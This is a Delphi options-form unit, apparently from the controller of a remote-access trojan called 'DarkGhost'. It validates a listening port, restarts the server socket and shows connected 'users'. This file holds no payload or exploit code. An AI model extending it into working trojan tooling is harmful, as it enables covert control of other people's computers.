unitopciones.pas

远程控制辕马

unit UnitOpciones;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons;

type
  TFormOpciones = class(TForm)
    BtnCambiarPort: TSpeedButton;
    EditPort: TEdit;
    LabelPort: TLabel;
    procedure FormShow(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
    procedure EditPortKeyPress(Sender: TObject; var Key: Char);
    procedure BtnCambiarPortClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormOpciones: TFormOpciones;

implementation

uses UnitPrincipal;



{$R *.dfm}

procedure TFormOpciones.FormShow(Sender: TObject);
begin
FormOpciones.Top := FormPrincipal.Top + 60;
FormOpciones.Left := FormPrincipal.Left + 90;
FormPrincipal.Enabled := false;
end;

procedure TFormOpciones.FormClose(Sender: TObject;
  var Action: TCloseAction);
begin
EditPort.Text := inttostr(FormPrincipal.Server.port);
FormPrincipal.Enabled := true;
end;

procedure TFormOpciones.FormCreate(Sender: TObject);
begin
FormPrincipal.Server.Port := strtoint(FormOpciones.EditPort.Text);
FormPrincipal.Server.Open;
FormPrincipal.EstadoBar.Panels[0].Text := '0 Usuarios Conectados';
FormPrincipal.EstadoBar.Panels[1].Text := 'Escuchando por el puerto '+ EditPort.Text +'';
end;

procedure TFormOpciones.EditPortKeyPress(Sender: TObject; var Key: Char);
begin
if (key <#48) or (key >#57) then  //esto sirve para q solo se
if key<>#8 then                   //puedan escribir numeros en el edit
begin
key:=#0;
end;
end;

procedure TFormOpciones.BtnCambiarPortClick(Sender: TObject);
begin
if EditPort.Text <> inttostr(FormPrincipal.Server.Port) then
begin
if (StrToIntDef(EditPort.Text, -1) = -1) or
(StrToInt(EditPort.Text) > 65535) or
(StrToInt(EditPort.Text) < 1) then
begin
Application.MessageBox('El puerto debe ser un numero entre 1 y 65535', 'DarkGhost');
FormOpciones.EditPort.Text := '';
end
else
begin
FormPrincipal.Server.Close;
FormPrincipal.Server.Port := strtoint(EditPort.Text);
FormPrincipal.Server.Open;
formPrincipal.ListConexiones.Clear;
FormPrincipal.EstadoBar.Panels[0].Text := '0 Usuarios Conectados';
FormPrincipal.EstadoBar.Panels[1].Text := 'Escuchando por el puerto '+ EditPort.Text +'';
FormOpciones.Close;
end;
end
else
begin
FormOpciones.Close;
end;
end;

end.